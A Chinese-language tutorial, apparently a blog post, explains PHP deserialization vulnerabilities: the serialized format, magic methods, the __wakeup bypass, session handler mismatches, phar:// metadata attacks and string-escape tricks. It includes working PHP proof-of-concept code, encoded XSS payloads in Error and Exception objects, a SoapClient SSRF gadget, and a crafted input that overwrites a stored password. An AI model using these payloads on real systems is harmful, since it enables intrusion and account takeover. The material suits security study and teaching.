干货 | PHP反序列化原理及不同类别反序列化漏洞总结

简介: 干货 | PHP反序列化原理及不同类别反序列化漏洞总结

序列化和反序列化介绍

serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。简单点讲序列化就是把一个对象变为可以传输的字符串,而反序列化就是把字符换换原为对象。


简单例子


<?phpclass test{public $suifeng="shuai";}$a=new test();          //实例化一个对象$b=serialize($a);       //进行序列化echo $b;                //输出序列化后的字符串echo '<br>';echo "我是分割线";      $c=unserialize($b);     //把序列化后的字符串反序列化echo '<br>';echo $c->suifeng;       ?>

640.png

这里我们再来看看反序列化后输出字符的含义

首先输出的内容为


O:4:"test":1:{s:7:"suifeng";s:5:"shuai";}

O->object4->object的长度test->object的名称1->object中变量个数s->变量名数据类型7->变量名长度suifeng->变量名S->变量值数据类型5->变量值长度shuai->变量的值


PHP其他数据类型

    a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string

    PHP常见魔法函数

      __construct()  //一个对象创建时被调用__destruct()  //一个对象销毁前被调用__call()  //调用类不存在的方法时执行__callStatic()  //调用类不存在的静态方式方法时执行。__wakeup()  //将在反序列化之后立即被调用__sleep()  //在对象被序列化前被调用__toString()  //当一个对象被当做字符串使用时被调用__get()  //用于从不可访问的属性读取数据__set()  //用于将数据写入不可访问属性              __invoke()  //调用函数的方式调用一个对象时的回应方法__isset()  //在不可访的属性上调用isset()或empty()触发__unset()  //在不可访的属性上使用unset()时触发


      public、protected、private下序列化对象区别

      php v7.x反序列化的时候对访问类别不敏感


        public变量直接变量名反序列化出来protected变量\x00 + * + \x00 + 变量名可以用S:5:"\00*\00op"来代替s:5:"?*?op"private变量\x00 + 类名 + \x00 + 变量名


        反序列化漏洞形成条件


        1、unserialize函数的参数可控

        2、后台使用了相应的PHP中的魔法函数


        反序列化漏洞原理


          <?phpclass ABC{    function __construct(){        echo '调用了构造函数<br>';    }    function __destruct(){        echo '调用了析构函数<br>';    }    function __wakeup(){        echo '调用了苏醒函数<br>';    }}echo '创建对象a<br>';$a=new ABC;echo '序列化<br>';$a_ser=serialize($a);echo '反序列化<br>';$a_unser=unserialize($a_ser);echo '对象快死了!';?>

          640.png

          PHP语言本身漏洞

          还有一种PHP语言本身漏洞碰到某种特点情况导致的反序列化漏洞

          如:__wakeup失效引发(CVE-2016-7124

          php版本< 5.6.25 | < 7.0.10

          当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行


          PHP_session序列化问题

          当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。


          PHP中有三种序列化处理器,如下:


          处理器 对应的存储格式
          php

          键名 + 竖线 + 经过serialize()函数反序列化处理的值

          php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
          php_serialize(php>=5.5.4)

          经过serialize()函数反序列处理的数组

          配置文件php.ini中含有这几个与session存储配置相关的配置项:


          session.save_path=""   --设置session的存储路径,默认在/tmpsession.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用phpsession.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式),比如files就是session默认以文件的方式进行存

          且在PHP中默认使用的是PHP引擎,如果想要修改成其他引擎,我们需要添加代码ini_set('session.serialize_handler', '需要设置的引擎'),例:


          <?php ini_set('session.serialize_handler', 'php_serialize'); session_start();

          存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容,例如session文件名称为:sess_1ja9n59ssk975tff3r0b2sojd5


          如果PHP在反序列化存储的$_SEESION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。


          PHP反序列化可以利用的原生类

          __call

          SoapClient

          这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。

          SSRF

            <?php$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();

            __toString

            Error

            适用于php7版本

            XSS

            开启报错的情况下:

              <?php$a = new Error("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');$c = unserialize($t);echo $c;


              Exception

              适用于php5、7版本

              XSS

              开启报错的情况下:

                <?php$a = new Exception("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');echo unserialize($c);


                phar://协议

                概念

                一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHP和 Archive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)


                phar组成结构


                  stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储contents:压缩文件的内容signature:签名,放在文件末尾

                  这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多


                  前提条件

                  php.ini中设置为phar.readonly=Off
                  php version>=5.3.0

                  demo测试

                  根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

                    <?php    class TestObject {    }@unlink("phar.phar");    $phar = new Phar("phar.phar"); //后缀名必须为phar    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub    $o = new TestObject();    $phar->setMetadata($o); //将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算    $phar->stopBuffering();?>

                    可以很明显看到manifest是以序列化形式存储的

                    640.png

                    如果现在通过phar://包装器对我们现有的Phar文件执行文件操作,则其序列化元数据将被反序列化。这意味着我们在元数据中注入的对象被加载到应用程序的范围中。如果此应用程序具有已命名的类AnyClass并且具有魔术方法__destruct()或已__wakeup()定义,则会自动调用这些方法。这意味着我们可以在代码库中触发任何析构函数或唤醒方法。更糟糕的是,如果这些方法对我们注入的数据进行操作,那么这可能会导致进一步的漏洞。


                    以下是受影响函数列表

                    640.png

                    这时利用phar://协议即可


                    利用条件

                    phar 文件能够上传

                    文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤

                    有可用的魔术方法作为”跳板”


                    反序列化字符逃逸

                    PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。


                    下面我们来分析一段代码

                      <?phpclass test{public $suifeng="shuai";}$a=new test();      $b=serialize($a);echo $b;                $c=unserialize($b);echo '<br>';echo $c->suifeng;?>

                      640.png发现序列化为 O:4:"test":1:{s:7:"suifeng";s:5:"shuai";},也正常进行了反序列化。当我们把序列化结果修改为O:4:"test":1:{s:7:"suifeng";s:5:"shuai";}i:1;s:4:"test";后发现还是会正常解析。

                      640.png

                      但是我们修改其长度就会报错,如 O:4:"test":1:{s:7:"suifeng";s:4:"shuai";}

                      640.png

                      知道这个特性我们再来分析如下一段代码


                      <?phpfunction filter($string){    return str_replace('test','test1',$string);}$username = "admin";$password = "1234";$user = array($username, $password);var_dump(serialize($user));echo '\n';$r = filter(serialize($user));var_dump($r);echo '\n';var_dump(unserialize($r));

                      640.png

                      可以看到反序列化为了a:2:{i:0;s:5:"admin";i:1;s:4:"1234";},当我们把username参数修改为admintest时,后续代码流程先反序列化$user,然后再执行Filter函数里面的str_place函数,把test替换成了test1,这样就导致了长度不一致,最终导致反序列化失败。

                      640.png

                      a:2:{i:0;s:9:"admintest";i:1;s:4:"1234";}

                      a:2:{i:0;s:9:"admintest1";i:1;s:4:"1234";}


                      假设这个代码流程是一个创建账号的代码流程,此时$username可由用户可控制,这时我们就可以通过控制可控参数导致反序列化字符逃逸。其本质其实也是和sql注入一样,对双引号,大括号的闭合,只不过反序列化字符逃逸需要满足一些其特点的条件。接下来我们就对其进行构造payload


                      因为其严格按照以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),所以我们可以这么对其进行闭合。

                      640.png

                      可以看到我们构造


                      $username=admintest";i:1;s:6:"123456";}

                      经过序列化后序列化为了

                      a:2:{i:0;s:29:"admintest";i:1;s:6:"123456";}";i:1;s:4:"1234";}

                      这样的序列化我们再对其进行反序列化红色部分就不会进入到反序列化中。但是可以看到替换后还是没有反序列化成功,我们来分析一下。

                      替换后我们得到

                      a:2:{i:0;s:29:"admintest1";i:1;s:6:"123456";}";i:1;s:4:"1234";}

                      红色部分在进行反序列化的时候会被进行忽略,那进行反序列化的字段就为


                      a:2:{i:0;s:29:"admintest1";i:1;s:6:"123456";}

                      可以看到这里的s:29:"admintest1"明显不对,所以我们的反序列化会失败,那么怎么去让这里保持正确呢,这也就是我们反序列化字符字符逃逸特点条件需要考虑的东西。


                      str_replace('test','test1',$string)代码里,test替换为了test1test1相比之前test多了一个字符,所以只要我们再加上只够的test让其替换成test1,且让长度相等,这样就可以让我们的反序列化正常进行了。

                      我们构造payload


                      admintesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest

                      640.png

                      这样我们就对改业务的密码进行了修改

                      目录
                      相关文章
                      |
                      3月前
                      |
                      存储 Java
                      【IO面试题 四】、介绍一下Java的序列化与反序列化
                      Java的序列化与反序列化允许对象通过实现Serializable接口转换成字节序列并存储或传输,之后可以通过ObjectInputStream和ObjectOutputStream的方法将这些字节序列恢复成对象。
                      |
                      1月前
                      |
                      缓存 安全 PHP
                      PHP中的魔术方法与对象序列化
                      本文将深入探讨PHP中的魔术方法,特别是与对象序列化和反序列化相关的__sleep()和__wakeup()方法。通过实例解析,帮助读者理解如何在实际应用中有效利用这些魔术方法,提高开发效率和代码质量。
                      |
                      11天前
                      |
                      JSON 数据格式 索引
                      Python中序列化/反序列化JSON格式的数据
                      【11月更文挑战第4天】本文介绍了 Python 中使用 `json` 模块进行序列化和反序列化的操作。序列化是指将 Python 对象(如字典、列表)转换为 JSON 字符串,主要使用 `json.dumps` 方法。示例包括基本的字典和列表序列化,以及自定义类的序列化。反序列化则是将 JSON 字符串转换回 Python 对象,使用 `json.loads` 方法。文中还提供了具体的代码示例,展示了如何处理不同类型的 Python 对象。
                      |
                      21天前
                      |
                      存储 安全 Java
                      Java编程中的对象序列化与反序列化
                      【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
                      |
                      1月前
                      |
                      存储 Java
                      Java编程中的对象序列化与反序列化
                      【10月更文挑战第9天】在Java的世界里,对象序列化是连接数据持久化与网络通信的桥梁。本文将深入探讨Java对象序列化的机制、实践方法及反序列化过程,通过代码示例揭示其背后的原理。从基础概念到高级应用,我们将一步步揭开序列化技术的神秘面纱,让读者能够掌握这一强大工具,以应对数据存储和传输的挑战。
                      |
                      1月前
                      |
                      存储 安全 Java
                      Java编程中的对象序列化与反序列化
                      【10月更文挑战第3天】在Java编程的世界里,对象序列化与反序列化是实现数据持久化和网络传输的关键技术。本文将深入探讨Java序列化的原理、应用场景以及如何通过代码示例实现对象的序列化与反序列化过程。从基础概念到实践操作,我们将一步步揭示这一技术的魅力所在。
                      |
                      21天前
                      |
                      存储 缓存 NoSQL
                      一篇搞懂!Java对象序列化与反序列化的底层逻辑
                      本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
                      20 0
                      |
                      2月前
                      |
                      JSON fastjson Java
                      niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。- - - - 阿里Fastjson反序列化源码分析
                      本文详细分析了 Fastjson 反序列化对象的源码(版本 fastjson-1.2.60),揭示了即使 JavaBean 沲有默认无参构造器,Fastjson 仍能正常反序列化的技术内幕。文章通过案例展示了 Fastjson 在不同构造器情况下的行为,并深入探讨了 `ParserConfig#getDeserializer` 方法的核心逻辑。此外,还介绍了 ASM 字节码技术的应用及其在反序列化过程中的角色。
                      75 10
                      |
                      2月前
                      |
                      存储 XML JSON
                      用示例说明序列化和反序列化
                      用示例说明序列化和反序列化
                      |
                      2月前
                      |
                      设计模式 SQL 安全
                      PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
                      在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
                      45 2